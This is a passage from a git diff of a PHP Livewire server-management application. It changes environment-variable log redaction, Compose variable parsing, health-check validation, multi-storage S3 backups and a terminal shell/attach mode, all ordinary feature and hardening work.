$this->authorize('manageEnvironment', $this->resource); + + if ($this->resource instanceof Application) { + $this->resource->settings->redact_all_env_values_in_logs = $this->redact_all_env_values_in_logs; + $this->saveApplicationSettingsWithAudit($this->resource); + } elseif ($this->hasLogRedactionSetting()) { + // Services and databases use the Auditable trait, so saving records the changed field. + $this->resource->redact_all_env_values_in_logs = $this->redact_all_env_values_in_logs; + $this->resource->save(); + } else { + return; + } + + $this->dispatch('success', 'Log redaction setting updated.'); + } catch (\Throwable $e) { + if ($this->hasLogRedactionSetting()) { + $this->resource->refresh(); + $this->redact_all_env_values_in_logs = $this->resource->redactsAllEnvValuesInLogs(); + } + + return handleError($e, $this); + } + } + public function instantSave() { try { @@ -684,12 +740,16 @@ class All extends Component 'kind' => 'managed', 'scope' => $environmentVariable->is_preview ? 'preview' : 'production', 'environmentVariable' => $environmentVariable, + 'composeInfo' => $this->composeInfoFor($environmentVariable->key), ]; } private function hardcodedEnvironmentVariableRow(array $environmentVariable, bool $isPreview, int $index): array { $scope = $isPreview ? 'preview' : 'production'; + $references = $this->composeReferences($environmentVariable['value'] ?? null); + $environmentVariable['compose_type'] = $references === [] ? 'literal' : 'derived'; + $environmentVariable['references'] = $references; return [ 'id' => 'hardcoded-'.$scope.'-'.$environmentVariable['key'].'-'.($environmentVariable['service_name'] ?? 'default').'-'.$index, @@ -803,24 +863,79 @@ class All extends Component private function isSelfReferencingComposeVariable(array $variable): bool { - $value = $variable['value'] ?? null; - if (! is_string($value)) { - return false; - } - - if ($value === '$'.$variable['key']) { + if ($variable['is_passthrough'] ?? false) { return true; } - $reference = extractBalancedBraceContent($value); - if ($reference === null || $reference['start'] !== 1 || $reference['end'] !== strlen($value) - 1) { - return false; + $reference = $this->directComposeReference($variable['value'] ?? null); + + return $reference !== null && $reference['key'] === $variable['key']; + } + + /** @return array{services: list, default: ?string, operator: ?string, required: bool}|null */ + private function composeInfoFor(string $key): ?array + { + return dockerComposeEnvironmentVariableInfo( + $this->resource->docker_compose_raw ?? $this->resource->docker_compose, + $key + ); + } + + private function composeEnvironmentAssignments(): Collection + { + if ($this->composeEnvironmentAssignments !== null) { + return $this->composeEnvironmentAssignments; } - $splitReference = splitOnOperatorOutsideNested($reference['content']); - $referencedKey = $splitReference['variable'] ?? $reference['content']; + $dockerCompose = $this->resource->docker_compose_raw ?? $this->resource->docker_compose; - return $referencedKey === $variable['key']; + return $this->composeEnvironmentAssignments = blank($dockerCompose) + ? collect() + : extractHardcodedEnvironmentVariables($dockerCompose); + } + + /** @return list */ + private function composeReferences(mixed $value): array + { + if (! is_string($value) || ! str_contains($value, '$')) { + return []; + } + + return extractDockerComposeEnvironmentVariableReferences($value)->all(); + } + + /** @return array{key: string, default: ?string, operator: ?string, required: bool}|null */ + private function directComposeReference(mixed $value): ?array + { + if (! is_string($value)) { + return null; + } + + if (preg_match('/^\$([A-Za-z_][A-Za-z0-9_]*)$/', $value, $bareMatch) === 1) { + return ['key' => $bareMatch[1], 'default' => null, 'operator' => null, 'required' => false]; + } + + $balancedReference = extractBalancedBraceContent($value); + if ($balancedReference === null || $balancedReference['start'] !== 1 || $balancedReference['end'] !== strlen($value) - 1) { + return null; + } + + $splitReference = splitOnOperatorOutsideNested($balancedReference['content']); + if ($splitReference === null) { + return [ + 'key' => $balancedReference['content'], + 'default' => null, + 'operator' => null, + 'required' => false, + ]; + } + + return [ + 'key' => $splitReference['variable'], + 'default' => str_contains($splitReference['operator'], '-') ? $splitReference['default'] : null, + 'operator' => $splitReference['operator'], + 'required' => str_contains($splitReference['operator'], '?'), + ]; } public function getDevView() diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php index 636a0e6ea8..6dc835fa95 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php @@ -10,6 +10,7 @@ use App\Models\Project; use App\Models\Server; use App\Models\Service; use App\Models\SharedEnvironmentVariable; +use App\Services\SharedVariableCanvas; use App\Support\ValidationPatterns; use App\Traits\EnvironmentVariableAnalyzer; use App\Traits\EnvironmentVariableProtection; @@ -25,6 +26,9 @@ class Show extends Component { public bool $showEnvironmentType = true; + /** @var array{services: list, default: ?string, operator: ?string, required: bool}|null */ + public ?array $composeInfo = null; + use AuthorizesRequests, EnvironmentVariableAnalyzer, EnvironmentVariableProtection, HasSecretManagerAutocomplete; protected function secretManagerResource(): ?Model @@ -92,6 +96,11 @@ class Show extends Component public array $problematicVariables = []; + /** + * The variable was saved before exact escaping, and the container gets a different value. + */ + public bool $legacyEscapingChangesValue = false; + protected $listeners = [ 'refresh', 'compose_loaded' => '$refresh', @@ -168,6 +177,10 @@ class Show extends Component } $this->hydrateValueFields(); + $this->legacyEscapingChangesValue = $this->env instanceof ModelsEnvironmentVariable + && is_object($this->env->resourceable) + && method_exists($this->env->resourceable, 'legacyEscapingChangesValue') + && $this->env->resourceable->legacyEscapingChangesValue($this->env); $this->valuesLoaded = true; } @@ -312,12 +325,37 @@ class Show extends Component $this->submit(); } + public function useComposeDefault(): void + { + $this->authorize('update', $this->env); + $this->loadValues(); + $composeInfo = $this->serverComposeInfo(); + if ($this->env->is_shown_once || $composeInfo === null || $composeInfo['default'] === null || $composeInfo['required']) { + return; + } + + $this->env->preserve_compose_null = false; + $this->value = null; + $this->submit(); + } + public function submit() { try { $this->authorize('update', $this->env); $this->loadValues(); + $composeInfo = $this->serverComposeInfo(); + if ($composeInfo !== null) { + $storedKey = $this->env->fresh()?->key; + if ($storedKey === null || $this->key !== $storedKey) { + $this->key = $storedKey ?? $this->key; + $this->dispatch('error', 'Compose-linked environment variable names cannot be changed.'); + + return; + } + } + if (! $this->isSharedVariable && $this->is_required && str($this->value)->isEmpty()) { $oldValue = $this->env->getOriginal('value'); $this->value = $oldValue; @@ -344,6 +382,38 @@ class Show extends Component } } + /** @return array{services: list, default: ?string, operator: ?string, required: bool}|null */ + private function serverComposeInfo(): ?array + { + if ($this->isSharedVariable) { + return null; + } + + $storedEnvironmentVariable = $this->env->fresh(); + if ($storedEnvironmentVariable === null) { + return null; + } + + $resource = $storedEnvironmentVariable->resourceable; + if (! $resource instanceof Application && ! $resource instanceof Service) { + return null; + } + + return dockerComposeEnvironmentVariableInfo( + $resource->docker_compose_raw ?? $resource->docker_compose, + $storedEnvironmentVariable->key + ); + } + + /** + * Shared variables only: the connect envs canvas with this variable selected. + */ + #[Computed] + public function connectLink(): ?string + { + return $this->isSharedVariable ? app(SharedVariableCanvas::class)->connectLink($this->env) : null; + } + #[Computed] public function availableSharedVariables(): array { diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/ShowHardcoded.php b/app/Livewire/Project/Shared/EnvironmentVariable/ShowHardcoded.php index a7d7a73602..9033a3d32b 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/ShowHardcoded.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/ShowHardcoded.php @@ -27,6 +27,11 @@ class ShowHardcoded extends Component #[Locked] public bool $isPreview = false; + public string $composeType = 'literal'; + + /** @var list */ + public array $references = []; + #[Locked] public ?string $resourceableType = null; @@ -40,6 +45,8 @@ class ShowHardcoded extends Component $this->isValueHidden = $this->env['is_value_hidden'] ?? true; $this->comment = $this->env['comment'] ?? null; $this->serviceName = $this->env['service_name'] ?? null; + $this->composeType = $this->env['compose_type'] ?? 'literal'; + $this->references = $this->env['references'] ?? []; } public function copyValue(): ?string diff --git a/app/Livewire/Project/Shared/ExecuteContainerCommand.php b/app/Livewire/Project/Shared/ExecuteContainerCommand.php index 4eb05ad0ad..d8ce2e03fc 100644 --- a/app/Livewire/Project/Shared/ExecuteContainerCommand.php +++ b/app/Livewire/Project/Shared/ExecuteContainerCommand.php @@ -31,6 +31,13 @@ class ExecuteContainerCommand extends Component public bool $containersLoaded = false; + /** + * Container picker entries. Alpine reads them through entangle, because containers load after the first render. + * + * @var list + */ + public array $containerOptions = []; + protected $rules = [ 'server' => 'required', 'container' => 'required', @@ -149,6 +156,10 @@ class ExecuteContainerCommand extends Component $this->containers = $this->containers->sortBy(function ($container) { return data_get($container, 'container.Names'); }); + $this->containerOptions = $this->containers->map(fn (array $container) => [ + 'value' => $this->containerTarget($container), + 'label' => data_get($container, 'container.Names').' · '.data_get($container, 'server.name'), + ])->values()->all(); if ($this->containers->count() === 1) { $this->selected_container = $this->containerTarget($this->containers->first()); diff --git a/app/Livewire/Project/Shared/GetLogs.php b/app/Livewire/Project/Shared/GetLogs.php index e809c1aae5..f9b15afac4 100644 --- a/app/Livewire/Project/Shared/GetLogs.php +++ b/app/Livewire/Project/Shared/GetLogs.php @@ -4,6 +4,7 @@ namespace App\Livewire\Project\Shared; use App\Helpers\SshMultiplexingHelper; use App\Models\Application; +use App\Models\EnvironmentVariable; use App\Models\Server; use App\Models\Service; use App\Models\ServiceApplication; @@ -192,7 +193,7 @@ class GetLogs extends Component $options = "-n {$this->resolveLogTail()}".($this->showTimeStamps ? ' -t' : ''); - return sanitizeLogsForExport($this->runLogCommand($this->logCommand($options), self::MAX_DISPLAY_SIZE_BYTES, '5MB', $this->showTimeStamps)); + return sanitizeLogsForExport($this->runLogCommand($this->logCommand($options), self::MAX_DISPLAY_SIZE_BYTES, '5MB', $this->showTimeStamps), $this->logRedactionSecrets()); } public function downloadAllLogs(): string @@ -212,7 +213,19 @@ class GetLogs extends Component $command = $this->logCommand($this->showTimeStamps ? '-t' : ''); - return sanitizeLogsForExport($this->runLogCommand($command, self::MAX_DOWNLOAD_SIZE_BYTES, '50MB', $this->showTimeStamps)); + return sanitizeLogsForExport($this->runLogCommand($command, self::MAX_DOWNLOAD_SIZE_BYTES, '50MB', $this->showTimeStamps), $this->logRedactionSecrets()); + } + + /** + * Environment values and database credentials of the resource whose logs are exported. + * + * @return array{known: array, locked: array} + */ + private function logRedactionSecrets(): array + { + $resource = $this->resource ?? $this->servicesubtype?->service; + + return EnvironmentVariable::logRedactionSecretsFor($resource, includePreview: $resource instanceof Application && filled($this->pull_request)); } private function resolveLogTail(): int|string diff --git a/app/Livewire/Project/Shared/HealthChecks.php b/app/Livewire/Project/Shared/HealthChecks.php index 70633fe030..3d9e2431ac 100644 --- a/app/Livewire/Project/Shared/HealthChecks.php +++ b/app/Livewire/Project/Shared/HealthChecks.php @@ -2,6 +2,8 @@ namespace App\Livewire\Project\Shared; +use App\Support\ValidationPatterns; +use Closure; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Attributes\Validate; use Livewire\Component; @@ -28,7 +30,6 @@ class HealthChecks extends Component #[Validate(['required', 'string', 'in:http,https'])] public string $healthCheckScheme; - #[Validate(['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'])] public string $healthCheckHost; #[Validate(['nullable', 'integer', 'min:1', 'max:65535'])] @@ -58,23 +59,30 @@ class HealthChecks extends Component #[Validate(['boolean'])] public bool $customHealthcheckFound = false; - protected $rules = [ - 'healthCheckEnabled' => 'boolean', - 'healthCheckType' => 'string|in:http,cmd', - 'healthCheckCommand' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'], - 'healthCheckPath' => ['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%,;]+$#'], - 'healthCheckPort' => 'nullable|integer|min:1|max:65535', - 'healthCheckHost' => ['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'], - 'healthCheckMethod' => 'required|string|in:GET,HEAD,POST,OPTIONS', - 'healthCheckReturnCode' => 'integer', - 'healthCheckScheme' => 'required|string|in:http,https', - 'healthCheckResponseText' => 'nullable|string', - 'healthCheckInterval' => 'integer|min:1', - 'healthCheckTimeout' => 'integer|min:1', - 'healthCheckRetries' => 'integer|min:1', - 'healthCheckStartPeriod' => 'integer', - 'customHealthcheckFound' => 'boolean', - ]; + protected function rules(): array + { + return [ + 'healthCheckEnabled' => 'boolean', + 'healthCheckType' => 'string|in:http,cmd', + 'healthCheckCommand' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'], + 'healthCheckPath' => ['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%,;]+$#'], + 'healthCheckPort' => 'nullable|integer|min:1|max:65535', + 'healthCheckHost' => ['required', 'string', function (string $attribute, mixed $value, Closure $fail): void { + if (! ValidationPatterns::isValidHealthCheckHost($value)) { + $fail('The health check host must be a hostname, an IPv4 address, or an IPv6 address.'); + } + }], + 'healthCheckMethod' => 'required|string|in:GET,HEAD,POST,OPTIONS', + 'healthCheckReturnCode' => 'integer', + 'healthCheckScheme' => 'required|string|in:http,https', + 'healthCheckResponseText' => 'nullable|string', + 'healthCheckInterval' => 'integer|min:1', + 'healthCheckTimeout' => 'integer|min:1', + 'healthCheckRetries' => 'integer|min:1', + 'healthCheckStartPeriod' => 'integer', + 'customHealthcheckFound' => 'boolean', + ]; + } public function mount() { diff --git a/app/Livewire/Project/Shared/ResourceOperations.php b/app/Livewire/Project/Shared/ResourceOperations.php index 2b6f5b4587..a459b988e0 100644 --- a/app/Livewire/Project/Shared/ResourceOperations.php +++ b/app/Livewire/Project/Shared/ResourceOperations.php @@ -232,6 +232,7 @@ class ResourceOperations extends Component 'team_id' => $this->resourceTeamId(), ]); $newBackup->save(); + $backup->copyS3StoragesTo($newBackup); } $environmentVaribles = $this->resource->environment_variables()->get(); diff --git a/app/Livewire/Project/Shared/Storages/VolumeBackups.php b/app/Livewire/Project/Shared/Storages/VolumeBackups.php index d741bcc0e4..083585fee6 100644 --- a/app/Livewire/Project/Shared/Storages/VolumeBackups.php +++ b/app/Livewire/Project/Shared/Storages/VolumeBackups.php @@ -11,6 +11,7 @@ use App\Models\LocalPersistentVolume; use App\Models\S3Storage; use App\Models\ScheduledVolumeBackup; use App\Models\Service; +use Illuminate\Database\Eloquent\Builder; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Http\RedirectResponse; use Illuminate\Routing\Redirector; @@ -43,7 +44,8 @@ class VolumeBackups extends Component public bool $stopDuringBackup = false; - public ?int $s3StorageId = null; + /** @var array */ + public array $s3StorageIds = []; public int $retentionAmountLocally = 7; @@ -88,7 +90,7 @@ class VolumeBackups extends Component 'saveToS3' => ['required', 'boolean'], 'disableLocalBackup' => ['required', 'boolean'], 'stopDuringBackup' => ['required', 'boolean'], - 's3StorageId' => ['nullable', 'integer'], + 's3StorageIds' => ['array'], 'retentionAmountLocally' => ['required', 'integer', 'min:0', 'max:10000'], 'retentionDaysLocally' => ['required', 'integer', 'min:0'], 'retentionMaxStorageLocally' => ['required', 'numeric', 'min:0'], @@ -103,12 +105,8 @@ class VolumeBackups extends Component public function mount(): void { $this->authorize('view', $this->resource); - $this->availableS3Storages = S3Storage::query() - ->where('team_id', $this->resourceTeamId()) - ->where('is_usable', true) - ->orderBy('name') - ->get(); $this->backup = $this->storage->scheduledBackups()->first(); + $this->availableS3Storages = $this->selectableS3Storages()->orderBy('name')->get(); $server = $this->backup?->server() ?? data_get($this->resource, 'destination.server'); $this->timezone = data_get($server, 'settings.server_timezone', 'Instance timezone'); @@ -118,7 +116,8 @@ class VolumeBackups extends Component $this->saveToS3 = $this->backup->save_s3; $this->disableLocalBackup = $this->backup->disable_local_backup; $this->stopDuringBackup = $this->backup->stop_during_backup; - $this->s3StorageId = $this->backup->s3_storage_id ?? $this->availableS3Storages->first()?->id; + $selectedIds = $this->backup->selectedS3Storages()->pluck('id'); + $this->s3StorageIds = ($selectedIds->isNotEmpty() ? $selectedIds : $this->availableS3Storages->take(1)->pluck('id'))->all(); $this->retentionAmountLocally = $this->backup->retention_amount_locally; $this->retentionDaysLocally = $this->backup->retention_days_locally; $this->retentionMaxStorageLocally = $this->backup->retention_max_storage_locally; @@ -128,7 +127,7 @@ class VolumeBackups extends Component $this->timeout = $this->backup->timeout; $this->missingBackupNotificationDays = $this->backup->missing_backup_notification_days; } else { - $this->s3StorageId = $this->availableS3Storages->first()?->id; + $this->s3StorageIds = $this->availableS3Storages->take(1)->pluck('id')->all(); } } @@ -149,30 +148,24 @@ class VolumeBackups extends Component $this->save(); } - public function updatedS3StorageId(): void + public function updatedS3StorageIds(): void { $this->authorize('update', $this->resource); - if (! $this->hasValidS3Storage()) { - $this->addError('s3StorageId', 'Select a usable S3 storage owned by your team.'); - - return; - } - - $this->resetErrorBag('s3StorageId'); if (! $this->validateSettings()) { return; } + $this->resetErrorBag('s3StorageIds'); $this->backup = $this->persistBackup($this->enabled); - $this->dispatch('success', 'S3 storage updated.'); + $this->dispatch('success', 'S3 storages updated.'); } public function toggleS3(): void { $this->authorize('update', $this->resource); - if (! $this->saveToS3 && ! $this->hasValidS3Storage()) { + if (! $this->saveToS3 && $this->selectedS3StorageIds()->isEmpty()) { $this->dispatch('error', 'Select a usable S3 storage before enabling S3 backups.'); return; @@ -302,6 +295,7 @@ class VolumeBackups extends Component ->where('s3_storage_deleted', true) ->orWhereNull('s3_uploaded') ->orWhere('s3_uploaded', false)) + ->withoutLiveS3Copies() ->delete() ?? 0; $this->dispatch( @@ -366,12 +360,8 @@ class VolumeBackups extends Component deleteBackupsLocally($execution->filename, $server, throwError: true); } - if ($this->delete_backup_s3 && $execution->s3_uploaded && ! $execution->s3_storage_deleted) { - if (! $execution->s3) { - throw new \RuntimeException('The S3 storage is unavailable.'); - } - - deleteBackupsS3($execution->filename, $execution->s3); + if ($this->delete_backup_s3) { + $execution->deleteS3Copies(); } $execution->delete(); @@ -388,7 +378,7 @@ class VolumeBackups extends Component public function render() { - $executions = $this->backup?->executions()->paginate($this->perPage); + $executions = $this->backup?->executions()->with('s3Replicas.s3')->paginate($this->perPage); return view('livewire.project.shared.storages.volume-backups', [ 'executions' => $executions ?? collect(), @@ -410,8 +400,8 @@ class VolumeBackups extends Component return false; } - if ($this->saveToS3 && ! $this->hasValidS3Storage()) { - $this->addError('s3StorageId', 'Select a usable S3 storage owned by your team.'); + if ($this->saveToS3 && $this->selectedS3StorageIds()->isEmpty()) { + $this->addError('s3StorageIds', 'Select at least one usable S3 storage owned by your team.'); return false; } @@ -431,7 +421,6 @@ class VolumeBackups extends Component 'save_s3' => $this->saveToS3, 'disable_local_backup' => $this->disableLocalBackup, 'stop_during_backup' => $this->stopDuringBackup, - 's3_storage_id' => $this->hasValidS3Storage() ? $this->s3StorageId : $this->backup?->s3_storage_id, 'retention_amount_locally' => $this->retentionAmountLocally, 'retention_days_locally' => $this->retentionDaysLocally, 'retention_max_storage_locally' => $this->retentionMaxStorageLocally, @@ -443,6 +432,15 @@ class VolumeBackups extends Component ]); $changedFields = auditChangedFields($backup); $backup->save(); + + $storageIds = $this->selectedS3StorageIds(); + $previousStorageIds = $backup->s3Storages()->pluck('s3_storages.id')->sort()->values()->all(); + $backup->syncS3Storages($storageIds->all()); + $this->s3StorageIds = $storageIds->all(); + if (! $backup->wasRecentlyCreated && $previousStorageIds !== $storageIds->sort()->values()->all()) { + $changedFields[] = 's3_storages'; + } + $this->auditScheduleSet($backup, $changedFields); return $backup; @@ -485,14 +483,33 @@ class VolumeBackups extends Component ]; } - private function hasValidS3Storage(): bool + /** + * The submitted destinations that are selectable S3 storages of the resource's team. Others are dropped. + * + * @return Collection + */ + private function selectedS3StorageIds(): Collection { - return $this->s3StorageId !== null - && S3Storage::query() - ->whereKey($this->s3StorageId) - ->where('team_id', $this->resourceTeamId()) - ->where('is_usable', true) - ->exists(); + $submittedIds = collect($this->s3StorageIds)->map(fn ($id): int => (int) $id)->filter()->unique(); + + return $this->selectableS3Storages() + ->whereKey($submittedIds->all()) + ->pluck('id') + ->sortBy(fn (int $id): int|false => $submittedIds->search($id)) + ->values(); + } + + /** + * Usable storages of the resource's team, plus the current destinations. A destination that is unusable for a + * while stays selected, so saving other settings does not remove it. + */ + private function selectableS3Storages(): Builder + { + $selectedIds = $this->backup?->selectedS3Storages()->pluck('id')->all() ?? []; + + return S3Storage::query() + ->where('team_id', $this->resourceTeamId()) + ->where(fn (Builder $query) => $query->where('is_usable', true)->orWhereIn('id', $selectedIds)); } private function resourceTeamId(): int diff --git a/app/Livewire/Project/Shared/Tags.php b/app/Livewire/Project/Shared/Tags.php index 9305d20a63..99daee1b7f 100644 --- a/app/Livewire/Project/Shared/Tags.php +++ b/app/Livewire/Project/Shared/Tags.php @@ -88,11 +88,10 @@ class Tags extends Component { try { $this->authorize('update', $this->resource); + // The tag stays, also without resources. Delete it on the Tags page. $this->resource->tags()->detach($id); - $found_more_tags = $this->resourceTags()->find($id); - $found_more_tags?->deleteIfOrphaned(); $this->refresh(); - $this->dispatch('success', 'Tag deleted.'); + $this->dispatch('success', 'Tag removed.'); } catch (\Exception $e) { return handleError($e, $this); } diff --git a/app/Livewire/Project/Shared/Terminal.php b/app/Livewire/Project/Shared/Terminal.php index 01a89b721a..daa6754480 100644 --- a/app/Livewire/Project/Shared/Terminal.php +++ b/app/Livewire/Project/Shared/Terminal.php @@ -34,14 +34,33 @@ class Terminal extends Component public string $variant = 'default'; + /** + * Whether the selected container can be attached to (its main process keeps stdin open). + */ + public bool $attachAvailable = false; + + /** + * Active terminal mode: 'shell' (docker exec) or 'attach' (docker attach). + */ + public string $terminalMode = 'shell'; + + // Remembered target so the mode switch can reconnect without re-selecting a container. + public bool $currentIsContainer = false; + + public ?string $currentIdentifier = null; + + public ?string $currentServerUuid = null; + private function checkShellAvailability(Server $server, string $container): bool { $escapedContainer = escapeshellarg($container); + // Non-root SSH users need sudo to reach the Docker socket. + $sudo = $server->isNonRoot() ? 'sudo ' : ''; try { instant_remote_process([ - "docker exec {$escapedContainer} bash -c 'exit 0' 2>/dev/null || ". - "docker exec {$escapedContainer} sh -c 'exit 0' 2>/dev/null", - ], $server); + "{$sudo}docker exec {$escapedContainer} bash -c 'exit 0' 2>/dev/null || ". + "{$sudo}docker exec {$escapedContainer} sh -c 'exit 0' 2>/dev/null", + ], $server, no_sudo: true); return true; } catch (Throwable) { @@ -49,8 +68,40 @@ class Terminal extends Component } } + private function containerKeepsStdinOpen(Server $server, string $container): bool + { + $escapedContainer = escapeshellarg($container); + // Non-root SSH users need sudo to reach the Docker socket. + $sudo = $server->isNonRoot() ? 'sudo ' : ''; + try { + $output = instant_remote_process([ + "{$sudo}docker inspect --format '{{.Config.OpenStdin}}' {$escapedContainer} 2>/dev/null", + ], $server, false, no_sudo: true); + + return is_string($output) && str_starts_with(trim($output), 'true'); + } catch (Throwable) { + return false; + } + } + + /** + * Resolve the effective terminal mode. Falls back to shell whenever attach is not available. + */ + public function resolveMode(?string $requestedMode): string + { + if ($requestedMode === 'attach') { + return $this->attachAvailable ? 'attach' : 'shell'; + } + + if ($requestedMode === 'shell') { + return 'shell'; + } + + return $this->attachAvailable ? 'attach' : 'shell'; + } + #[On('send-terminal-command')] - public function sendTerminalCommand($isContainer, $identifier, $serverUuid, TerminalSessionService $terminalSessionService): void + public function sendTerminalCommand($isContainer, $identifier, $serverUuid, ?string $requestedMode = null): void { try { $this->authorize('canAccessTerminal'); @@ -69,6 +120,11 @@ class Terminal extends Component return; } + // Remember the target so the mode switch can reconnect without re-selecting. + $this->currentIsContainer = (bool) $isContainer; + $this->currentIdentifier = $identifier; + $this->currentServerUuid = $serverUuid; + if ($isContainer) { // Validate container identifier format (alphanumeric, dashes, and underscores only) if (! is_string($identifier) || ! ValidationPatterns::isValidContainerName($identifier)) { @@ -77,7 +133,7 @@ class Terminal extends Component return; } - // Verify container exists and belongs to the user's team + // Verify the container is running on the authorized server $status = getContainerStatus($server, $identifier); if ($status !== 'running') { $this->failTerminalSession('The container is not running.'); @@ -85,16 +141,25 @@ class Terminal extends Component return; } - // Check shell availability + // Check shell availability and whether the container can be attached to. $this->hasShell = $this->checkShellAvailability($server, $identifier); - if (! $this->hasShell) { + $this->attachAvailable = $this->containerKeepsStdinOpen($server, $identifier); + + $mode = $this->resolveMode($requestedMode); + $this->terminalMode = $mode; + + // Shell mode needs a shell; console (attach) mode does not. + if ($mode === 'shell' && ! $this->hasShell) { $this->failTerminalSession('No shell is available in this container.'); return; } + } else { + $this->attachAvailable = false; + $mode = $this->terminalMode = 'shell'; } - $token = $terminalSessionService->issue(auth()->user(), $server, $isContainer ? $identifier : null); + $token = app(TerminalSessionService::class)->issue(auth()->user(), $server, $isContainer ? $identifier : null, $mode); $this->dispatch('send-terminal-token', $token); } @@ -120,6 +185,23 @@ class Terminal extends Component $this->dispatch(self::SESSION_FAILED_EVENT, message: $message)->self(); } + /** + * Switch between shell and console (attach) mode and reconnect to the current container. + */ + #[On('set-terminal-mode')] + public function setMode(string $mode): void + { + if (! in_array($mode, ['shell', 'attach'], true)) { + return; + } + + if (! $this->currentIsContainer || $this->currentIdentifier === null || $this->currentServerUuid === null) { + return; + } + + $this->sendTerminalCommand(true, $this->currentIdentifier, $this->currentServerUuid, $mode); + } + #[On('terminalConnected')] public function markTerminalConnected(): void { diff --git a/app/Livewire/Project/Show.php b/app/Livewire/Project/Show.php index ee73e72f93..a055904d51 100644 --- a/app/Livewire/Project/Show.php +++ b/app/Livewire/Project/Show.php @@ -2,9 +2,10 @@ namespace App\Livewire\Project; +use App\Livewire\Concerns\CreatesEnvironments; +use App\Livewire\Concerns\RemembersCanvasView; use App\Models\Environment; use App\Models\Project; -use App\Support\ValidationPatterns; use Illuminate\Contracts\View\View; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -12,26 +13,11 @@ use Livewire\Component; class Show extends Component { use AuthorizesRequests; + use CreatesEnvironments; + use RemembersCanvasView; public Project $project; - public string $name; - - public ?string $description = null; - - protected function rules(): array - { - return [ - 'name' => ValidationPatterns::nameRules(), - 'description' => ValidationPatterns::descriptionRules(), - ]; - } - - protected function messages(): array - { - return ValidationPatterns::combinedMessages(); - } - public function mount(string $project_uuid) { try { @@ -55,31 +41,15 @@ class Show extends Component ->orderBy('created_at'), ]) ->firstOrFail(); + + if ($this->prefersCanvasView('project')) { + return $this->redirectRoute('project.canvas', ['project_uuid' => $this->project->uuid], navigate: true); + } } catch (\Throwable $e) { return handleError($e, $this); } } - public function submit() - { - try { - $this->authorize('update', $this->project); - $this->validate(); - $environment = Environment::create([ - 'name' => $this->name, - 'project_id' => $this->project->id, - 'uuid' => new_public_id(), - ]); - - return redirectRoute($this, 'project.resource.index', [ - 'project_uuid' => $this->project->uuid, - 'environment_uuid' => $environment->uuid, - ]); - } catch (\Throwable $e) { - handleError($e, $this); - } - } - public function navigateToEnvironment($projectUuid, $environmentUuid) { return redirectRoute($this, 'project.resource.index', [ diff --git a/app/Livewire/Security/ApiTokens.php b/app/Livewire/Security/ApiTokens.php index ca98698450..bd7189bd24 100644 --- a/app/Livewire/Security/ApiTokens.php +++ b/app/Livewire/Security/ApiTokens.php @@ -37,6 +37,8 @@ class ApiTokens extends Component public $isApiEnabled; + public $isMcpEnabled; + #[Locked] public bool $canUseRootPermissions = false; @@ -56,7 +58,9 @@ class ApiTokens extends Component public function mount() { - $this->isApiEnabled = InstanceSettings::get()->is_api_enabled; + $settings = InstanceSettings::get(); + $this->isApiEnabled = $settings->is_api_enabled; + $this->isMcpEnabled = $settings->is_mcp_server_enabled; $this->canUseRootPermissions = auth()->user()->can('useRootPermissions', PersonalAccessToken::class); $this->canUseWritePermissions = auth()->user()->can('useWritePermissions', PersonalAccessToken::class); $this->canUseDeployPermissions = auth()->user()->can('useDeployPermissions', PersonalAccessToken::class); diff --git a/app/Livewire/Security/IntegrationTokenEditor.php b/app/Livewire/Security/IntegrationTokenEditor.php index 66310c104e..6a4c7ce2e6 100644 --- a/app/Livewire/Security/IntegrationTokenEditor.php +++ b/app/Livewire/Security/IntegrationTokenEditor.php @@ -30,6 +30,8 @@ class IntegrationTokenEditor extends Component public bool $automaticDns = true; + public bool $proxiedDns = false; + public function mount(string $integration_token_uuid): void { $this->integrationToken = IntegrationToken::ownedByCurrentTeam() @@ -43,18 +45,32 @@ class IntegrationTokenEditor extends Component $this->metadata = $this->integrationToken->metadata ?? []; $this->loadZones(); $this->automaticDns = $this->integrationToken->automaticDnsEnabled(); + $this->proxiedDns = $this->integrationToken->proxiedDnsEnabled(); + } + + /** + * Cloudflare Tunnel setup also writes DNS records, so selecting `tunnel` also selects `dns`. + */ + public function updatedCapabilities(): void + { + if (in_array('tunnel', $this->capabilities, true) && ! in_array('dns', $this->capabilities, true)) { + $this->capabilities[] = 'dns'; + } } protected function rules(): array { - $allowedCapability = $this->integrationToken->provider === 'cloudflare' ? 'dns' : 'secrets'; - $rules = [ 'name' => ['required', 'string', 'max:255'], 'newToken' => ['nullable', 'string'], - 'capabilities' => ['required', 'array', 'min:1'], - 'capabilities.*' => ['required', 'in:'.$allowedCapability], + 'capabilities' => ['required', 'array', 'min:1', function (string $attribute, mixed $value, \Closure $fail): void { + if (is_array($value) && in_array('tunnel', $value, true) && ! in_array('dns', $value, true)) { + $fail('Cloudflare Tunnel also needs the DNS capability.'); + } + }], + 'capabilities.*' => ['required', 'in:'.implode(',', IntegrationToken::allowedCapabilities($this->integrationToken->provider))], 'automaticDns' => ['boolean'], + 'proxiedDns' => ['boolean'], ]; if ($this->integrationToken->provider === 'infisical') { @@ -91,6 +107,11 @@ class IntegrationTokenEditor extends Component } else { $metadata['automatic_dns'] = false; } + if ($validated['proxiedDns']) { + $metadata['proxied_dns'] = true; + } else { + unset($metadata['proxied_dns']); + } } $storedMetadata = $this->integrationToken->metadata ?? []; $changedConnectionFields = $this->changedConnectionFields($provider, $storedMetadata, $metadata); diff --git a/app/Livewire/Security/IntegrationTokenForm.php b/app/Livewire/Security/IntegrationTokenForm.php index e07e22db0b..54ce0b704e 100644 --- 